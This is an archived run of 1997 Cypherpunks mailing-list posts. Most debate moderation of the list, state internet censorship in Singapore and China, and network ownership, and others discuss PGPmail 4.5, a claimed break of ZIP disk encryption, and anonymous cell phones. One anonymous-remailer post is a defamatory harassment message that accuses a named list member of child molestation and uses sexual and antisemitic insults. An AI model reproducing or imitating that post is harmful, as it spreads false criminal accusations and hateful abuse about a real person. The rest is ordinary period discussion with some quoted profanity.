To: Jim Choate <ravage@einstein.ssz.com>
Subject: Re: Fighting the cybercensor. (fwd)
In-Reply-To: <199701221210.EAA23236@toad.com>
Message-ID: <3.0.1.32.19970126032853.00649120@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:11 AM 1/22/97 -0600, Jim Choate wrote:
>> Singapore and China are blocking certain net groups. I think
>> this is a bad thing, question is how can we stop it?
>
>'We' shouldn't, it is their own country and it is up to their populace to
>stop it. Do you really want Singapore or China having a say in how we run
>our web? I certainly don't, and won't support any move to force any

Nonsense - the net doesn't "belong" to "Singapore or China" -
it's made up of the activies and property of many different people.
If some of those people don't like what other people are saying,
or reading, they've got no right to limit it, just because they've
got enough guns to call themselves "the government".
If they don't like something, they don't have to read it,
or they can send out their own counter-propaganda.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Sat, 25 Jan 1997 23:49:50 -0800 (PST)
To: Toto <cypherpunks@toad.com>
Subject: Re: Rejection policy of the Cypherpunks mailing list
In-Reply-To: <199701260712.XAA10405@toad.com>
Message-ID: <199701260749.AAA25243@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <199701260712.XAA10405@toad.com>, on 01/25/97 
   at 11:03 PM, Toto <toto@sk.sympatico.ca> said:

+  I fail to see how any supposedly intelligent members of the 
+CypherPunks list can possibly be content to fall for the line,
+  "Bend over, baby. I'm only going to moderate you 'a little bit'."

    attila sez:

        no matter if one perceives the "need" for a moderator or not, I  
    find it hard to accept --even to eliminate the grossly obscene 
    attacks by a few members against other members. I wonder if we need 
    a 'childish' excluder? 

        I question how Sandy can accept the job as moderator, passing 
    judgement on 100-300 messages per day.  just trimming spam is 
    questionable: what is spam?  flames: what draws the line at flames: 

            personal attacks? 
            profanity? 
            politically [in]correct speach?  
            historical revisionism? 

        and, I think cypherpunks is setting an atrocious example of our 
    own narrow mindedness (creditable or not) when we sanction any 
    filtering of what we see --is this not **exactly** what we accuse 
    the controlled media of determining what is "fit to print?"

        unfortunately, we are demonstrating to our critics that 

        a)  net anarchy does not work
        b)  cyberlibertarianism breeds anarchy
        c)  we're loose cannons on the deck
        d)  we are not civilized enough to warrant respect

    and this can go on and on and on...  But, the minute we, as a group, 
    start to tell other members of the group to 'clean up your act' we 
    are violating the principal "ethic" which we claim: freedom.

        sure, we can claim we are entitled to total libertarianism, or 
    anarchy; but there is a responsibility to create a workable, 
    cooperative social order, if for no other reason than protecting us 
    in the wilderness, or feeding us, or clothing us.  anyone here wish 
    to return to survivalist modes of a head of household 200 years ago?

        we can have pure communism, the LDS Brotherhood, the Shaker 
    house, or even true anarchy where you may do anything you wish as 
    long as it does not infringe on the rights or property of another.
 
        --catch22: just how do set the laws on limits, and how do you 
    enforce the limits if you have voted to dissolve all 'government' 
    and 'police?'  

            when basic human ambition to better oneself 
            is literally killed...

        good luck, Sandy;  make sure you pull a sanity check everyday 
    when you start and finish the onerous task!

  ==
  "you may not be next,
    you may not be last,
      but you are too late to have been first.  
            --attila


-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: Encrypted with 2.6.3i. Requires 2.6 or later.

iQCVAwUBMusMbr04kQrCC2kFAQFXYgP/aK2vEs0skEaYNbwWiDXS+GcYKIRJ52/c
y87akjVm/d1U+LDheHN0cvFxHiMCNRCIJKKa7hHNr3AYDXzJtehthP/pi+L5NPTD
kYY58tUFy0p/t0hN4vze4i0wnxkymAVCnIVNkfGyAGwXytCxCmPUCHcV5ZzlYcI+
jrXv2nuBsos=
=ZTbB
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bovine Remailer <haystack@holy.cow.net>
Date: Sun, 26 Jan 1997 05:18:31 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199701261300.IAA02540@holy.cow.net>
MIME-Version: 1.0
Content-Type: text/plain


Timmy May the self-admitted child molester possesses a 
rudimentary dick less than one inch long, half the size of his 
mother's clitoris, that barely makes a fistful. Thereby hangs 
the root of this Jew-hating sissy's sick fixation on little 
boys and Usenet forgeries.

    /\        /\
   +  \______/  +
      / .  . \
     <   /    >
      \ \--/ /
       ------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Sun, 26 Jan 1997 08:40:43 -0800 (PST)
To: Toto <toto@sk.sympatico.ca>
Subject: Re: Rejection policy of the Cypherpunks mailing list
In-Reply-To: <32EB3666.62F8@sk.sympatico.ca>
Message-ID: <Pine.SUN.3.91.970126073859.24597D-100000@crl8.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Sun, 26 Jan 1997, Toto wrote:

>   I think that anyone who thinks that moderation is, or could ever be,
> anything other than a dance into the arms of the establishment, is
> already crazy.

Apparently, Toto does not know very much about John or me or our 
relationships with the "Establishment."  It is who are using a
intellectually dishonest smokescreen of "freedom of speech" in 
order to disrupt and hamper the work of Cypherpunks who are 
dancing into the arms of the "Establishment."
 
>   For the record, I don't think that either John or Sandy is crazy.
> I think that they have their own pre-established goals which others
> on the cypherpunks list are not privy to.

I can't speak for John, but my goals have been stated too often
and too completely for anyone not to know them.  I want us all to
have privacy.  The Cypherpunks list was created to facilitate
discussion--and ultimately action by those who were inclined and 
able to do something to further that goal via the use of
cryptographic and other technologies.  I believe that childish
name-calling and personal attacks interferes with rational 
discourse and a spirit of common purpose and community.  

It is obvious to me that those who are waving the bloody flag of
"censorship" are doing so for either of two reasons.  The ones to
whom I am the most sympathetic are those who simply do not have
a clear and coherent understanding of rights in an anarchistic,
volunteeristic society.  

The ones for whom I have no sympathy are those whose obvious 
goal is disruption of the Cypherpunks list and who are hiding
behind a phoney interpretation of "free speech."

I think both of these groups are intellectually dishonest in the
extreme when it comes to telling others how this list should be
run.  I doubt any of them would permit the sort of disruptive
behavior that goes on here to go unchallenged in salons they
sponsor in their own homes or on Net lists that they themselves 
maintain.

This is a voluntary list folks.  We tried incivility and that did
not work.  Right now we are experimenting with reasoned discourse
in an atmosphere of interpersonal respect and good will.  If most
list members like the change, it will continue.  If not, then we
can go back to the swill or perhaps try something else.  In the
meantime, get over it.  If you really like flames and spam, show
John and me how it really should be done.  Start another list.  
Of course squating and claim jumping appeal to the lazy a lot
more than homesteading.


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Sun, 26 Jan 1997 06:15:53 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Get Set for War/ American Dissident Voices
In-Reply-To: <cmtY86K00iWp05Wns0@andrew.cmu.edu>
Message-ID: <Pine.LNX.3.95.970126090919.7639G-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 24 Jan 1997, J Durbin wrote:

> Aga <aga@dhp.com> wrote:
> 
> >You keep ALL of your replies to usenet, or ELSE!
> 
> Note recent, hypocritical, unsolicited email reply to a Usenet article
> from aga@dhp.com:
> 

That was not an adversarial reply.
It is the *adversarial* e-mail and/or complaints which are the 
prohibited and deemed legal "harassment," since the party "KNOWS" that
it is unwanted.

It is the "intent" that counts
> 
> Received: from proxy3.ba.best.com (root@proxy3.ba.best.com
> [206.184.139.14]) by shellx.best.com (8.8.4/8.8.3) with ESMTP id
> GAA25960 for <jed@shellx.best.com>; Sat, 18 Jan 1997 06:39:17 -0800
> (PST)
> Received: from dhp.com (dhp.com [199.245.105.1]) by proxy3.ba.best.com
> (8.8.4/8.8.3) with ESMTP id GAA04244 for <slothrop@poisson.com>; Sat,
> 18 Jan 1997 06:38:53 -0800 (PST)
> Received: from dhp.com (dhp.com [199.245.105.1]) by dhp.com
> (8.8.4/8.6.12) with SMTP id JAA05322; Sat, 18 Jan 1997 09:38:46 -0500
> Newsgroups: ne.internet.services,alt.fan.speedbump,alt.god.grubor
> Date: Sat, 18 Jan 1997 09:38:43 -0500 (EST)
> From: aga <aga@dhp.com>
> To: freedom-knights@jetcafe.org
> cc: "Dr. Grubor" <drgrubor@aol.com>, J Durbin <slothrop@poisson.com>
> Subject: Re: [Fwd: Re: Victory Party]
> In-Reply-To: <32E0D65F.7442@earthlink.net>
> Message-ID: <Pine.LNX.3.95.970118093420.3890K-100000@dhp.com>
> MIME-Version: 1.0
> Content-Type: TEXT/PLAIN; charset=US-ASCII
> 
> 
> Hey you fucker; you pay my expenses and I will come.
> You get a one hour lecture and one hour of questions and
> answers afterward.  Everybody gets frisked for guns at the door,
> since we do not trust some of those cypherpunks.
> 
> --
> jason durbin
> slothrop@poisson.com
> stop reading here <---
> 
> 

So, that was not an "adversarial" response, and therefore it was
permitted.  

aga administrator
UseNet Freedom Council





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: gt@kdn0.attnet.or.jp (Gemini Thunder)
Date: Sun, 26 Jan 1997 01:25:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: DataETRsch
Message-ID: <32ed219a.200245212@kdn0.attnet.or.jp>
MIME-Version: 1.0
Content-Type: text/plain


Apparently intimidated by the response from the Cypherpunks
 list, DataETRsch has begun spamming mailing lists with ads for their
 UDCM/IMDMP Windows DLL. It reared its ugly head in
 linux-c-programming@vger.rutgers.edu today.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 26 Jan 1997 07:42:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: RE: Fighting the cybercensor
In-Reply-To: <01BC0B28.3F64CFA0@king1-28.cnw.com>
Message-ID: <yg851D46w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


blanc <blancw@cnw.com> writes:
(a bunch of sensible stuff)
> .  Many individuals reside within a nation not because they favor its po
> litics, but because they feel more comfortable among their own kind than
> with strangers elsewhere - for example, Chinese who have lived in China all
> their lives (and whose ancestral roots are there) will wish to stay there
> and do what they can within the boundaries of that nation, rather than for
> instance moving to Canada, when the going gets rough.

Also many "un-freer" societies restrict the ability to emigrate, and many
"freer" society restrict the ability to immigrate. It's not so
easy for someone living in Communist China to pick up his ass and go
someplace else, like Taiwan. A large number of people got shot while
trying to cross the Berlin Wall. Plus if they do get out, they may
have difficulty going to countries like U.S. or Canada. (In case anyone
missed it, the U.S. is much more selective about who it lets in as
immigrants than it was earlier in the century.)

> It is true that individuals still live within the physical boundaries of
> "nations" which have formed in the past, and they still hold the concepts
> of these boundaries in their minds and they still identify closely with
> these, and they still vote problems upon themselves.   But it is becoming
> an anachronism, and it is becoming inaccurate to speak of "what
> Singaporians want for the internet".    This phrase would describe many of
> those who live in Singapore, but not all of them.   It is more accurate to
> speak of what  "individuals who use the internet" want, of what
>  "individuals who want to communicate" want, of what  "individuals who want
> to connect with others" want.
>
> The identifications of self as a citizen who must be identified with the
> vote of a majority, and consequently suffer the perception of oneself as
> someone who "voted to accept restrictions of the net, therefore should not
> be helped against it", is becoming irrelevant.   When a distress call goes
> out from someone anywhere on the planet, the assistance and relief may come
> from anyone anywhere who chooses to rally others and provide assistance.
>
> It is not the traditional "we" against "them", and it is not the "citizens
> of the US" helping those who "voted themselves a Hitler into power" or
> "voted themselves into restrictions against free speech".   It is "those of
> us who appreciate the liberty in communications technology" against "those
> who would take it away".

However U.S.G. is able to say that people of Iraq or Lybia or Cuba should
not be permitted on the 'net. It also bombs Iraq and murders their civilians
in retaliation for something their governments supposedly did.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 26 Jan 1997 07:41:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Corelation
Message-ID: <94851D48w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Sandy Sandfort <sandfort@crl.com> writes:

> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>                           SANDY SANDFORT
>  . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
>
> C'punks,
>
> On Sat, 25 Jan 1997, Toto wrote:
>
> >   Has anyone actually 'seen' John Gilmore, lately? Since there
> > have been a number of postings indicating that the writer
> > 'used to respect' Gilmore, I am wondering if perhaps this
> > moderation experiment is not actually an attempt by someone
> > to discredit him.
>
> Well I saw John last night at the C2Net party, but I guess that's
> not much reassurance.  :-)

Let me rephrase Toto's question: has anyone with some credibility left
seen Gilmore lately?

(I last saw Gilmore in September. I'm trying to remember if he looked
like he lost weight. :-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 26 Jan 1997 07:41:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Rejection policy of the Cypherpunks mailing list
In-Reply-To: <199701260656.WAA10195@toad.com>
Message-ID: <uB951D49w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Toto <toto@sk.sympatico.ca> writes:

> Dr.Dimitri Vulis KOTM wrote:
> > Toto <toto@sk.sympatico.ca> writes:
> > > paul@fatmans.demon.co.uk wrote:
>
> > >   It became rather glaringly obvious after moderation was announced
> > > that class structure would be the defining feature of moderation.
> > >   Those who felt themselves to be in the 'upper class' made no
> > > bones about it.
> >
> > That's a very insightful obeservation.
>
>   Obese-rvation? I hope you are not assuming that I am obese, just
> because I am responding to a post originating from
> 'fatmans.demon.co.uk.'
>   I would hate to become relegated to the upcoming cypherpunks-fatpeople
> list because of assumptions of this nature.

It was obviously a typo - my apologies to Toto.
(Interestingly, Herr Moderatorfuehrer has tossed my article Toto replied to
into cypherpunks-flames, while posting Toto's response to the censored list.)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Igor Chudov @ home" <ichudov@algebra.com>
Date: Sun, 26 Jan 1997 08:02:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: DPT   Win 3.xx,  95,  NT   ENCRYPTION program
Message-ID: <199701261600.KAA04355@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text/plain


In article <5cd7ki$52b@news.xs4all.nl> bernard@xs4all.nl Crypto wrote:
Newsgroups: comp.security.misc
* DPT   Win 3.xx,  95,  NT   ENCRYPTION program
* 
* DPT16 or DPT32  total encryption  Windows program.
* 
* Encrypt fast, Files, Dir, Floppys, e-mail, text or Messages .... 
* 
* Key up to 30 Kb,  Hide your encrypted data's in a picture file.
* Direct mail encryption,  Visit the  Data  Privacy  Tools home page.
* 
* at;      http://www.xs4all.nl/~bernard  

Bernard, thanks for an interesting post. I am Cc-ing your message to 
Cypherpunks mailing list which is ostensibly dedicated to discussions
of cryptography.

As follows from info on your home page, you do use simple XOR to
encrypt your data. It was not clear to me though, how do you generate
the keys to encrypt the data. I am sure that many readers of cypherpunks
mailing list will be interested, so please send a copy of your reply
to cypherpunks@toad.com.

igor




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sun, 26 Jan 1997 10:17:18 -0800 (PST)
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: Toto's database
In-Reply-To: <3.0.32.19970126025513.006ba14c@ricochet.net>
Message-ID: <32EB9F84.227E@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Greg Broiles wrote:
> Toto writes:

> >Has anyone actually 'seen' John Gilmore, lately?

> He was at C2Net's party last Friday night (1/24), being interviewed by some
> folks from a Japanese TV program.

It would be interesting if someone could show up at Gilmore's
press conferences to supply an alternative view of Gilmore himself.

Of course, those still clinging to the notion that Gilmore is working
for us might not be comfortable with this idea - biting the hand that
feeds, etc., but I think it could be a good way to keep the moderator
honest.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sun, 26 Jan 1997 10:30:23 -0800 (PST)
To: Sandy Sandfort <sandfort@crl.com>
Subject: Re: Rejection policy of the Cypherpunks mailing list
In-Reply-To: <Pine.SUN.3.91.970126073859.24597D-100000@crl8.crl.com>
Message-ID: <32EBA287.3309@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Sandy Sandfort wrote:
> On Sun, 26 Jan 1997, Toto wrote:

> >   I think that anyone who thinks that moderation is, or could ever be,
> > anything other than a dance into the arms of the establishment, is
> > already crazy.

> Apparently, Toto does not know very much about John or me or our
> relationships with the "Establishment."  It is who are using a
> intellectually dishonest smokescreen of "freedom of speech" in
> order to disrupt and hamper the work of Cypherpunks who are
> dancing into the arms of the "Establishment."
[some snip]
> This is a voluntary list folks.  We tried incivility and that did
> not work.  Right now we are experimenting with reasoned discourse
> in an atmosphere of interpersonal respect and good will.  If most
> list members like the change, it will continue.  If not, then we
> can go back to the swill or perhaps try something else.  In the
> meantime, get over it.  If you really like flames and spam, show
> John and me how it really should be done.  Start another list.
> Of course squating and claim jumping appeal to the lazy a lot
> more than homesteading.

Actually, it is a certifiable fact that the list subscribers can
jump to the unmoderated list whenever they want to.  It is also a
certifiable fact that they (97% or so) have *not* done so.

Because of these facts, I must conclude that either:

1. The subscribers have spoken by staying put, or,
2. The subscribers are so lazy and unaware of what's going on that
   they've just left things as is.

Now, in my opinion, we've come to this:  Some people here will hold
the optimistic view of the bulk of the subscribers, and others will
hold the pessimistic view (the bulk will presumably be in-between).





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Sun, 26 Jan 1997 10:46:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: [noise?] Media
Message-ID: <3.0.1.32.19970126103240.01f7e7f4@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


This was forwarded to me.  It was too good not to share...

>"Tonight on tales from Encrypt, we have a ghastly little story involving
>Congress and your Web page."

---
|   If you're not part of the solution, You're part of the precipitate.  |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sun, 26 Jan 1997 11:23:06 -0800 (PST)
To: Jim Choate <ravage@EINSTEIN.ssz.com>
Subject: Re: Fighting the cybercensor. (fwd)
In-Reply-To: <199701261725.JAA19049@toad.com>
Message-ID: <3.0.1.32.19970126105213.0065c600@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:12 AM 1/26/97 -0600, Jim Choate <ravage@EINSTEIN.ssz.com> wrote:
>stewart> Nonsense - the net doesn't "belong" to "Singapore or China" -
>
>The part of it that comes out of their pocketbook does. Just like the part of
>'the net' that I pay for belongs to me. The net is a bunch of computers,
>running software, hooked together over cables and other links. Each and
>EVERY ONE of these require installation, upkeep, repair, and utility
>support. This costs money. He who pays the money owns the net, everybody
>else is along for the ride.

For individuals, and voluntary groups of individuals, that's certainly true.
But what about taxpayers involuntarily paying for a network run by
bureaucrats -
does each individual have an equal right to decide what he/she will say
or read on the net, or are some individuals more equal than others?  And if
so, 
why is it the armed thugs who want to censor people who get to be more equal?

It's the usual insoluable problem about how to decide policy for
involuntarily-funded services - the government is morally obligated to
follow the wishes of everybody paying for them, which are in radical conflict.
It's bad enough with schools...  The Arpanet had its Acceptable Use Policy,
which limited speech on goverment-funded parts of the net to non-commercial
use;
one of main drivers behind the Commercial Internet Exchange was to
allow businesses to send each other email without being limited by it.

>ps I also support France's current attempt at forcing the Georgia university
>   web site on French soil to use French.

And then there's the French Telecom Monopoly (until it falls apart) -
if you don't like the rules the bureaucrats make for what you can say or read,
you're not even allowed to build your own telecom network or obtain services 
from providers who don't censor what you can say or read.

And I also don't support the French government's attempt at forcing its own
subjects on French soil to use French.  Asking them nicely, or running
propaganda
against Academically-incorrect French, is something the Academie can do itself.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Sun, 26 Jan 1997 08:47:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Fighting the cybercensor. (fwd)
Message-ID: <199701261712.LAA00406@einstein>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Sun, 26 Jan 1997 03:28:53 -0800
> From: Bill Stewart <stewarts@ix.netcom.com>
> Subject: Re: Fighting the cybercensor. (fwd)
> 
> At 12:11 AM 1/22/97 -0600, Jim Choate wrote:
> >> Singapore and China are blocking certain net groups. I think
> >> this is a bad thing, question is how can we stop it?
> >
> >'We' shouldn't, it is their own country and it is up to their populace to
> >stop it. Do you really want Singapore or China having a say in how we run
> >our web? I certainly don't, and won't support any move to force any
> 
> Nonsense - the net doesn't "belong" to "Singapore or China" -

The part of it that comes out of their pocketbook does. Just like the part of
'the net' that I pay for belongs to me. The net is a bunch of computers,
running software, hooked together over cables and other links. Each and
EVERY ONE of these require installation, upkeep, repair, and utility
support. This costs money. He who pays the money owns the net, everybody
else is along for the ride.

If we take your argument to its logical conclusion then once a box goes on
the net it belongs to nobody/everybody. Clearly utter nonsense.

If you really and truly believe that the net belongs to everyone and nobody
has a right to limit or otherwise control the hardware and software along
with the associated comm links they own and pay for then you obviously don't
understand what is going on.

                                                 Jim Choate
                                                 CyberTects
                                                 ravage@ssz.com


ps I also support France's current attempt at forcing the Georgia university
   web site on French soil to use French.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sun, 26 Jan 1997 11:21:17 -0800 (PST)
To: Duncan Frissell <frissell@panix.com>
Subject: Re: PGPmail for Windows, Version 4.5
In-Reply-To: <199701261710.JAA18785@toad.com>
Message-ID: <3.0.1.32.19970126111938.0065b868@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:45 AM 1/26/97 -0500, Duncan Frissell wrote:
>Anyone running Windows 95 who hasn't grabbed the beta of PGPmail 4.5 from 
>http://www.pgp.com/ is crazy.  It works seamlessly with Netscape 3.0 and 
>Eudora Pro 3.0.  The 30-day demo of Eudora Pro is at:
http://www.eudora.com/prodemo/.

PGPmail 4.5 now has beta 10 available - the download is smaller than beta 9.

Eudora Lite 3.0.1 also supports plugins, so it should work.
It also supports filters, which has allowed probable flames to
quietly vanish from my inbox :-)

BTW, from a non-government-user perspective, the questions asked to establish
export permission are nicely worded.  Rather than asking
"Are you a US Subject", and "Do you agree to follow every vague
detail of the Export Laws", as some sites do, it asks
> - Is the requesting computer located within the United States? [N/Y]
> - Do you acknowledge affirmatively that you understand that PGPmail is 
> subject to export controls under the Export Administration Act and 
> that you cannot export the software without a license? [N/Y]
> - Do you certify that you are not on any of the United States Government's 
> lists of export-precluded parties or otherwise ineligible to receive this 
> transfer of cryptographic software subject to export controls under the 
> Export Administration Act? 
and then has a button saying 
	"I certify that the above answers are truthful",
which is flexible enough that I don't have to feel bad about not being
_absolutely_ certain that my packets aren't getting routed through Canada,
or that I'm not on some list that bans telephone company employees from 
downloading cryptographic software on Tuesdays, or whether 
computers 30 feet above the US are subject to this week's export rules :-),
or having to say "No" to Question 2 because I understand that you _can_
export this software without a license (just do it) even though the Feds
disapprove....


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Sun, 26 Jan 1997 08:35:45 -0800 (PST)
To: shamrock@netcom.com (Lucky Green)
Subject: Re: Encrypting ZIP disks
In-Reply-To: <3.0.32.19970125155133.00683d28@192.100.81.136>
Message-ID: <199701261631.LAA20392@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain


Lucky Green wrote:
| At 11:40 AM 1/25/97 -0500, Adam Shostack wrote:
| >
| >Paul Kocher announced that he has cracked it, and can recover data
| >quickly.  He is not publishing details of the break.
| 
| Why?

	Probably to make money.  Paul does do this for a living.  Even
if he hasn't cracked it, the ZIP protection mechanism is propreitary
and exportable.


Adam
 
-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Sun, 26 Jan 1997 08:32:46 -0800 (PST)
To: Steve Schear <cypherpunks@toad.com
Subject: Re: Cellular location...
In-Reply-To: <199701260655.WAA10130@toad.com>
Message-ID: <3.0.1.32.19970126113215.017ebcd8@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 09:27 PM 1/25/97 -0800, Steve Schear wrote:
>>> Presented in a "this will help 911" context. Still disconcerting.
>>>
>>> [...]
>>> Companies working on the technology to track cellular phone calls
>>> have been given additional incentive with a Federal Communications
>>> Commission order that all cell phone service companies have location
>>> programs in place by the year 2001.
>>> [...]
>>
>
>Looks like this might create an opportunity for 'anonymous' cellular rentals.
>
>--Steve

Anonymous cellular accounts have been available in NYC for a year or so.  See any copy of the Post or the Daily News for the ads.  A similar service just started in Mexico City according to the NYT.  

You call the company and order the phone for circa $249.00 C.O.D.  This includes one hour of calls.  Subsequent hours are purchased for $36.  Not cheap but anonymous.  No roaming either.

DCF
-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQCVAgUBMuuHDIVO4r4sgSPhAQFKjwQAoYOpb6t/L3/ah6yN7bMnwlTXX34q7yLC
ECW8R7QzZsvZoHd9LxwN38DrvHsCmyot+xWwF/Drixupen8ydJz9yXcmSpddeYM6
r8mmvQcA27YmNID6LF4iAh1Z7gqYu1iUyIaxEE6WhPN1cAEobJn9x3rFVV1dpouC
Y88L4vFRo+I=
=acJo
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Sun, 26 Jan 1997 08:46:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: PGPmail for Windows, Version 4.5
Message-ID: <3.0.1.32.19970126114551.0173b44c@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Anyone running Windows 95 who hasn't grabbed the beta of PGPmail 4.5 from 
http://www.pgp.com/ is crazy.  It works seamlessly with Netscape 3.0 and Eudora Pro 3.0.  The 30-day demo of Eudora Pro is at: http://www.eudora.com/prodemo/.

It is easy to use.  I just installed it and pointed it at my old pubring.pgp and secring.pgp files and went to work.  All my messages have been signed since then and some have been encrypted.  The installation program found my existing copies of Eudora and Netscape and installed the PGP add in without any fuss.

My only problem was finding the controls for the add in which (in the case of Eudora) consist of buttons to encrypt, sign, bring up the program, insert a copy of your key, and actually modify the message.  The controls only appear on the message create, and message read windows.

Easy to use.

DCF
-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQCVAgUBMuuKMYVO4r4sgSPhAQFfzAP+LkDjOecHxz0iEVVggLLABxAOE9tVyOLl
AIkKlagFqK+lBboo7fETCZtSpmDHcNsJG6Et6BWO5aYf7Artw+jXj+734c+w4RWj
zcj6+351LUqT60TmcukH02p2MT0sd8w1dAnhD8+o1E13G5h5N1CF/p6KQjmHOiQ6
9T1ehMax0jE=
=E8Pu
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Sun, 26 Jan 1997 09:27:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: Internet, Countries, Nationalism, etc.
Message-ID: <199701261751.LAA00526@einstein>
MIME-Version: 1.0
Content-Type: text



Hi,

blanc has put forth an interesting assertion relating to nationalism and the
Internet. If he is correct then we will have a one world government (ie
technocracy) whether we like it or not.

I agree with this assertion, which is why I hold that it is a waste of
bandwidth trying to 'control' the Internet or access thereof by citizens of
such countries as Singapore. Let them cut themselves off, it does us all a
service, and themselves a dis-service. If the citizens have as much
dissatisfaction as some members claim they will take care of it themselves.
When they get hungry for ideas, materials, and food they will change.

You can take a horse to water, you can't make him drink. You can drown him
however. Then you are walking, not riding.

                                                   Jim Choate
                                                   CyberTects
                                                   ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
